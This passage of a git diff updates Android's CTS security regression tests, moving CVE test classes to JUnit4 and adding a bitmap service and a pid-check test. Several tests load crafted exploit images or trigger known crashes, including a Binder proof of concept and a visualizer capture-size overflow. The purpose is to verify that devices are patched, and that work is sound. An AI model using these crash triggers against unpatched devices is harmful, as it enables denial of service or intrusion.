+ private static final String ALLOW_SLIPPERY_TOUCHES_PERMISSION
+ = "android.permission.ALLOW_SLIPPERY_TOUCHES";
+
private static final String LOG_TAG = "PermissionProtectionTest";
private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -441,6 +444,9 @@
return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
case MANAGE_COMPANION_DEVICES_PERMISSION:
return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+ case ALLOW_SLIPPERY_TOUCHES_PERMISSION:
+ // In R and S branches, skip this permission
+ return true;
default:
return false;
}
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 5838d27..b82b188 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -33,6 +33,7 @@
"compatibility-common-util-devicesidelib",
"guava",
"platform-test-annotations",
+ "sts-device-util",
"hamcrest-library",
],
libs: [
@@ -60,6 +61,7 @@
"src/**/*.java",
"src/**/*.kt",
"src/android/security/cts/activity/ISecureRandomService.aidl",
+ "aidl/android/security/cts/IBitmapService.aidl",
"aidl/android/security/cts/IIsolatedService.aidl",
"aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
],
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 17aa9e8..e43d6aa 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -48,6 +48,10 @@
<service android:name="android.security.cts.activity.SecureRandomService"
android:process=":secureRandom"/>
+
+ <service android:name="android.security.cts.BitmapService"
+ android:process=":bitmap_service" />
+
<activity android:name="android.security.cts.MotionEventTestActivity"
android:label="Test MotionEvent"
android:exported="true">
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
new file mode 100644
index 0000000..b9694c3
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+parcelable BitmapWrapper;
+
+interface IBitmapService {
+ int getAllocationSize(in BitmapWrapper bitmap);
+ boolean didReceiveBitmap(in BitmapWrapper bitmap);
+ boolean ping();
+}
diff --git a/tests/tests/security/res/raw/cve_2020_11135.mp4 b/tests/tests/security/res/raw/cve_2020_11135.mp4
new file mode 100644
index 0000000..55b6955
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11135.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 9480251..f16b8fb 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,26 +15,30 @@
*/
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.app.ActivityManager;
import android.app.ApplicationExitInfo;
import android.content.Context;
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import junit.framework.TestCase;
import java.lang.reflect.InvocationTargetException;
-public class ActivityManagerTest extends TestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
+@RunWith(AndroidJUnit4.class)
+public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 19394591)
+ @Test
public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
try {
/*
@@ -53,6 +57,7 @@
// b/144285917
@AsbSecurityTest(cveBugId = 144285917)
+ @Test
public void testActivityManager_attachNullApplication() {
SecurityException securityException = null;
Exception unexpectedException = null;
@@ -81,6 +86,7 @@
// b/166667403
@AsbSecurityTest(cveBugId = 166667403)
+ @Test
public void testActivityManager_appExitReasonPackageNames() {
final String mockPackage = "com.foo.bar";
final String realPackage = "com.android.compatibility.common.deviceinfo";
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index 5d297c6..fca75a2 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -19,21 +19,28 @@
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
import java.io.InputStream;
import android.security.cts.R;
-public class AllocatePixelRefIntOverflowTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AllocatePixelRefIntOverflowTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device is not vulnerable to ANDROID-19270126: Android
* BitmapFactory.decodeStream JPG allocPixelRef integer overflow
*/
@AsbSecurityTest(cveBugId = 19394591)
+ @Test
public void testAllocateJavaPixelRefIntOverflow() {
- InputStream exploitImage = mContext.getResources().openRawResource(
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2015_1531_b_19270126);
/**
* The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index 73536e3..397c012 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -16,7 +16,7 @@
package android.security.cts;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.fail;
import android.app.Activity;
import android.os.BaseBundle;
@@ -27,21 +27,29 @@
import android.view.View;
import android.view.View.BaseSavedState;
import android.annotation.SuppressLint;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Random;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
import android.security.cts.R;
import android.platform.test.annotations.AsbSecurityTest;
-public class AmbiguousBundlesTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase {
/**
* b/140417434
* Vulnerability Behaviour: Failure via Exception
*/
@AsbSecurityTest(cveBugId = 140417434)
+ @Test
public void test_android_CVE_2020_0082() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -180,6 +188,7 @@
* b/71992105
*/
@AsbSecurityTest(cveBugId = 71992105)
+ @Test
public void test_android_CVE_2017_13310() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -270,6 +279,7 @@
* b/71508348
*/
@AsbSecurityTest(cveBugId = 71508348)
+ @Test
public void test_android_CVE_2018_9339() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -373,6 +383,7 @@
* b/62998805
*/
@AsbSecurityTest(cveBugId = 62998805)
+ @Test
public void test_android_CVE_2017_0806() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
@@ -436,6 +447,7 @@
* b/73252178
*/
@AsbSecurityTest(cveBugId = 73252178)
+ @Test
public void test_android_CVE_2017_13311() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
@@ -530,6 +542,7 @@
* b/71714464
*/
@AsbSecurityTest(cveBugId = 71714464)
+ @Test
public void test_android_CVE_2017_13287() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
diff --git a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
index 7b26ff0..ca85b65 100644
--- a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
+++ b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
@@ -25,6 +25,7 @@
import androidx.test.core.app.ApplicationProvider;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import static org.junit.Assert.assertFalse;
import org.junit.Test;
@@ -34,9 +35,9 @@
import java.lang.reflect.Field;
@RunWith(AndroidJUnit4.class)
-public class AndroidFutureTest {
+public class AndroidFutureTest extends StsExtraBusinessLogicTestCase {
- @AsbSecurityTest(cveBugId = 186530450)
+ @AsbSecurityTest(cveBugId = 197228210)
@Test
public void testAndroidFutureReadThrowable() throws Exception {
String filePath = "/data/system/" + System.currentTimeMillis();
diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
index 10e1c20..684fa6f 100644
--- a/tests/tests/security/src/android/security/cts/AssetManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
@@ -19,13 +19,19 @@
import android.content.res.AssetManager;
import android.content.res.XmlResourceParser;
import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-public class AssetManagerTest extends CtsAndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class AssetManagerTest extends StsExtraBusinessLogicTestCase {
// b/144028297
@AsbSecurityTest(cveBugId = 144028297)
+ @Test
public void testCloseThenFinalize() throws Exception {
final XmlResourceParser[] parser = {null};
final AssetManager[] assetManager = {AssetManager.class.newInstance()};
diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
new file mode 100644
index 0000000..e36fa49
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertThrows;
+
+import java.lang.reflect.Field;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.AttributionSource;
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.runner.AndroidJUnit4;
+
+@RunWith(AndroidJUnit4.class)
+public class AttributionSourceTest {
+
+ @AsbSecurityTest(cveBugId = 200288596)
+ @Test
+ public void testPidCheck() throws Exception {
+ Context context = ApplicationProvider.getApplicationContext();
+ AttributionSource attributionSource =
+ new AttributionSource(
+ (AttributionSource)
+ Context.class.getMethod("getAttributionSource").invoke(context),
+ null);
+
+ Field attSourceStateField =
+ attributionSource.getClass().getDeclaredField("mAttributionSourceState");
+ attSourceStateField.setAccessible(true);
+
+ Object attSourceState = attSourceStateField.get(attributionSource);
+ attSourceState.getClass().getField("pid").setInt(attSourceState, 0);
+ final AttributionSource attributionSourceFinal = attributionSource;
+ assertThrows(SecurityException.class, () -> attributionSourceFinal.enforceCallingPid());
+ }
+}
+
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 1e1878d..4c8fec8 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -23,14 +23,20 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.util.Log;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import static org.junit.Assert.*;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.Arrays;
import java.util.UUID;
-public class AudioSecurityTest extends CtsAndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AudioSecurityTest extends StsExtraBusinessLogicTestCase {
private static final String TAG = "AudioSecurityTest";
private static final int ERROR_DEAD_OBJECT = -7; // AudioEffect.ERROR_DEAD_OBJECT
@@ -58,30 +64,33 @@
private static void testAllEffects(String testName, TestEffect testEffect) throws Exception {
int failures = 0;
- for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
- final AudioEffect audioEffect;
- try {
- audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
- UUID.class, UUID.class, int.class, int.class).newInstance(
- descriptor.type,
- descriptor.uuid, // uuid overrides type
- 0 /* priority */, 0 /* audioSession */);
- } catch (Exception e) {
- Log.w(TAG, "effect " + testName + " " + descriptor.name
- + " cannot be created (ignoring)");
- continue; // OK;
- }
- try {
- testEffect.test(audioEffect);
- Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
- } catch (Exception e) {
- Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
- e);
- ++failures;
- } catch (AssertionError e) {
- Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
- e);
- ++failures;
+ AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+ if (descriptors != null) {
+ for (AudioEffect.Descriptor descriptor : descriptors) {
+ final AudioEffect audioEffect;
+ try {
+ audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
+ UUID.class, UUID.class, int.class, int.class).newInstance(
+ descriptor.type,
+ descriptor.uuid, // uuid overrides type
+ 0 /* priority */, 0 /* audioSession */);
+ } catch (Exception e) {
+ Log.w(TAG, "effect " + testName + " " + descriptor.name
+ + " cannot be created (ignoring)");
+ continue; // OK;
+ }
+ try {
+ testEffect.test(audioEffect);
+ Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
+ } catch (Exception e) {
+ Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
+ e);
+ ++failures;
+ } catch (AssertionError e) {
+ Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
+ e);
+ ++failures;
+ }
}
}
assertEquals("found " + testName + " " + failures + " failures",
@@ -90,6 +99,7 @@
// b/28173666
@AsbSecurityTest(cveBugId = 28173666)
+ @Test
public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
testAllEffects("get parameter attempt offload",
new TestEffect() {
@@ -104,6 +114,7 @@
// b/32624850
// b/32635664
@AsbSecurityTest(cveBugId = 32438594)
+ @Test
public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
testAllEffects("get parameter2 attempt offload",
new TestEffect() {
@@ -116,6 +127,7 @@
// b/30204301
@AsbSecurityTest(cveBugId = 30204301)
+ @Test
public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
testAllEffects("set parameter attempt offload",
new TestEffect() {
@@ -128,6 +140,7 @@
// b/37536407
@AsbSecurityTest(cveBugId = 32448258)
+ @Test
public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
testAllEffects("equalizer get parameter name",
new TestEffect() {
@@ -355,6 +368,7 @@
// b/31781965
@AsbSecurityTest(cveBugId = 31781965)
+ @Test
public void testVisualizerCapture_CVE_2017_0396() throws Exception {
// Capture params
final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
@@ -371,89 +385,93 @@
final int bufferSize = bufferSamples * 2; // bytes per sample for 16 bits
final short data[] = new short[bufferSamples]; // zero data
- for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
- if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
- continue;
- }
-
- AudioEffect audioEffect = null;
- AudioTrack audioTrack = null;
-
- try {
- // create track and play
- {
- audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
- AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
- AudioTrack.MODE_STATIC);
- assertEquals("Cannot write to audio track",
- bufferSamples,
- audioTrack.write(data, 0 /* offsetInBytes */, data.length));
- assertEquals("AudioTrack not initialized",
- AudioTrack.STATE_INITIALIZED,
- audioTrack.getState());
- assertEquals("Cannot set loop points",
- android.media.AudioTrack.SUCCESS,
- audioTrack.setLoopPoints(0 /* startInFrames */, bufferFrames, loops));
- audioTrack.play();
+ AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+ if (descriptors != null) {
+ for (AudioEffect.Descriptor descriptor : descriptors) {
+ if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
+ continue;
}
- // wait for track to really begin playing
- Thread.sleep(200 /* millis */);
+ AudioEffect audioEffect = null;
+ AudioTrack audioTrack = null;
- // create effect
- {
- audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
- UUID.class, UUID.class, int.class, int.class).newInstance(
- descriptor.type, descriptor.uuid, 0 /* priority */,
- audioTrack.getAudioSessionId());
- }
+ try {
+ // create track and play
+ {
+ audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
+ AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
+ AudioTrack.MODE_STATIC);
+ assertEquals("Cannot write to audio track",
+ bufferSamples,
+ audioTrack.write(data, 0 /* offsetInBytes */, data.length));
+ assertEquals("AudioTrack not initialized",
+ AudioTrack.STATE_INITIALIZED,
+ audioTrack.getState());
+ assertEquals("Cannot set loop points",
+ android.media.AudioTrack.SUCCESS,
+ audioTrack.setLoopPoints(
+ 0 /* startInFrames */, bufferFrames, loops));
+ audioTrack.play();
+ }
- // set capture size
- {
- byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
- .order(ByteOrder.nativeOrder())
- .putInt(0) // status (unused)
- .putInt(4) // psize (sizeof(param))
- .putInt(4) // vsize (sizeof(value))
- .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
- .putInt(CAPTURE_SIZE) // data[4] (value)
- .array();
+ // wait for track to really begin playing
+ Thread.sleep(200 /* millis */);
- Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
- "command", int.class, byte[].class, byte[].class).invoke(
- audioEffect,
- EFFECT_CMD_SET_PARAM,
- command, new byte[4] /* reply */);
- Log.d(TAG, "setparam returns " + ret);
- assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
- }
+ // create effect
+ {
+ audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
+ UUID.class, UUID.class, int.class, int.class).newInstance(
+ descriptor.type, descriptor.uuid, 0 /* priority */,
+ audioTrack.getAudioSessionId());
+ }
- // enable effect
- {
- final int ret = audioEffect.setEnabled(true);
- assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
- }
+ // set capture size
+ {
+ byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
+ .order(ByteOrder.nativeOrder())
+ .putInt(0) // status (unused)
+ .putInt(4) // psize (sizeof(param))
+ .putInt(4) // vsize (sizeof(value))
+ .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
+ .putInt(CAPTURE_SIZE) // data[4] (value)
+ .array();
- // wait for track audio data to be processed, otherwise capture
- // will not really return audio data.
- Thread.sleep(200 /* millis */);
+ Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+ "command", int.class, byte[].class, byte[].class).invoke(
+ audioEffect,
+ EFFECT_CMD_SET_PARAM,
+ command, new byte[4] /* reply */);
+ Log.d(TAG, "setparam returns " + ret);
+ assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+ }
- // capture data
- {
- Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
- "command", int.class, byte[].class, byte[].class).invoke(
- audioEffect,
- VISUALIZER_CMD_CAPTURE,
- new byte[0] /* command */, captureBuf /* reply */);
- Log.d(TAG, "capture returns " + ret);
- assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
- }
- } finally {
- if (audioEffect != null) {
- audioEffect.release();
- }
- if (audioTrack != null) {
- audioTrack.release();
+ // enable effect
+ {
+ final int ret = audioEffect.setEnabled(true);
+ assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
+ }
+
+ // wait for track audio data to be processed, otherwise capture
+ // will not really return audio data.
+ Thread.sleep(200 /* millis */);
+
+ // capture data
+ {
+ Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+ "command", int.class, byte[].class, byte[].class).invoke(
+ audioEffect,
+ VISUALIZER_CMD_CAPTURE,
+ new byte[0] /* command */, captureBuf /* reply */);
+ Log.d(TAG, "capture returns " + ret);
+ assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+ }
+ } finally {
+ if (audioEffect != null) {
+ audioEffect.release();
+ }
+ if (audioTrack != null) {
+ audioTrack.release();
+ }
}
}
}
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index 20ac03a..f441c78 100644
--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -18,14 +18,19 @@
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.R;
-public class BigRleTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class BigRleTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device does not run OOM decoding a particular RLE encoded BMP.
*
@@ -33,8 +38,9 @@
* we attempted to allocate space for all the encoded data at once, resulting in OOM.
*/
@AsbSecurityTest(cveBugId = 33251605)
+ @Test
public void test_android_bug_33251605() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33251605);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
}
}
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
index 7516e5b..aa7a360 100644
--- a/tests/tests/security/src/android/security/cts/BinderExploitTest.java
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -40,8 +40,8 @@
import java.io.InputStreamReader;
import static org.junit.Assert.assertTrue;
-import android.test.AndroidTestCase;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import android.platform.test.annotations.AsbSecurityTest;
import java.util.ArrayList;
@@ -53,9 +53,14 @@
import android.system.ErrnoException;
import android.widget.TextView;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import java.io.File;
import java.util.List;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
class Exchange extends IBinderExchange.Stub {
IBinder binder;
BinderExploitTest.CVE_2019_2213_Activity xpl;
@@ -97,7 +102,8 @@
public native void runxpl(String pipedir);
}
-public class BinderExploitTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BinderExploitTest extends StsExtraBusinessLogicTestCase {
static final String TAG = BinderExploitTest.class.getSimpleName();
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
@@ -115,6 +121,7 @@
* b/141496757
*/
@AsbSecurityTest(cveBugId = 133758011)
+ @Test
public void testPoc_cve_2019_2213() throws Exception {
Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 444b110..9b9ea1f 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -18,14 +18,18 @@
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
-
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static org.junit.Assert.*;
import android.security.cts.R;
import java.io.BufferedInputStream;
import java.io.InputStream;
-public class BitmapFactoryDecodeStreamTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactoryDecodeStreamTest extends StsExtraBusinessLogicTestCase {
/*
* This test case reproduces the bug in CVE-2015-1532.
* It verifies that the BitmapFactory:decodeStream method is not vulnerable
@@ -33,23 +37,26 @@
* npTc chunk.
*/
@AsbSecurityTest(cveBugId = 19151999)
+ @Test
public void testNinePatchHeapOverflow() throws Exception {
- InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream inStream = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2015_1532));
BitmapFactory.decodeStream(inStream);
}
@AsbSecurityTest(cveBugId = 36724453)
+ @Test
public void testPocCVE_2017_0691() throws Exception {
- InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2017_0691));
BitmapFactory.decodeStream(exploitImage);
}
@AsbSecurityTest(cveBugId = 65290323)
+ @Test
public void test_b65290323() throws Exception {
- InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.b65290323));
BitmapFactory.decodeStream(exploitImage);
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index b1de686..c77b7dd 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -16,10 +16,15 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
+import android.content.Context;
import android.graphics.BitmapFactory;
import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.io.FileDescriptor;
@@ -27,13 +32,16 @@
import java.io.InputStream;
import java.lang.Exception;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import android.security.cts.R;
-public class BitmapFactorySecurityTests extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactorySecurityTests extends StsExtraBusinessLogicTestCase {
private FileDescriptor getResource(int resId) {
try {
- InputStream is = mContext.getResources().openRawResource(resId);
+ InputStream is = getInstrumentation().getContext().getResources().openRawResource(resId);
assertNotNull(is);
File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
file.deleteOnExit();
@@ -58,6 +66,7 @@
* Verifies that decoding a corrupt ICO does crash.
*/
@AsbSecurityTest(cveBugId = 38116746)
+ @Test
public void test_android_bug_38116746() {
FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
try {
@@ -74,6 +83,7 @@
* Verifies that decoding a corrupt BMP does crash.
*/
@AsbSecurityTest(cveBugId = 37627194)
+ @Test
public void test_android_bug_37627194() {
FileDescriptor exploitImage = getResource(R.raw.bug_37627194);
try {
@@ -84,6 +94,7 @@
}
@AsbSecurityTest(cveBugId = 156261521)
+ @Test
public void test_android_bug_156261521() {
// Previously decoding this would crash.
FileDescriptor exploitImage = getResource(R.raw.bug_156261521);
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
new file mode 100644
index 0000000..c532e05
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+
+public class BitmapService extends Service {
+
+ private final IBitmapService.Stub mBinder = new IBitmapService.Stub() {
+ @Override
+ public int getAllocationSize(BitmapWrapper wrapper) {
+ return wrapper.getBitmap().getAllocationByteCount();
+ }
+
+ @Override
+ public boolean didReceiveBitmap(BitmapWrapper wrapper) {
+ return true;
+ }
+
+
+ @Override
+ public boolean ping() {
+ return true;
+ }
+ };
+
+ @Nullable
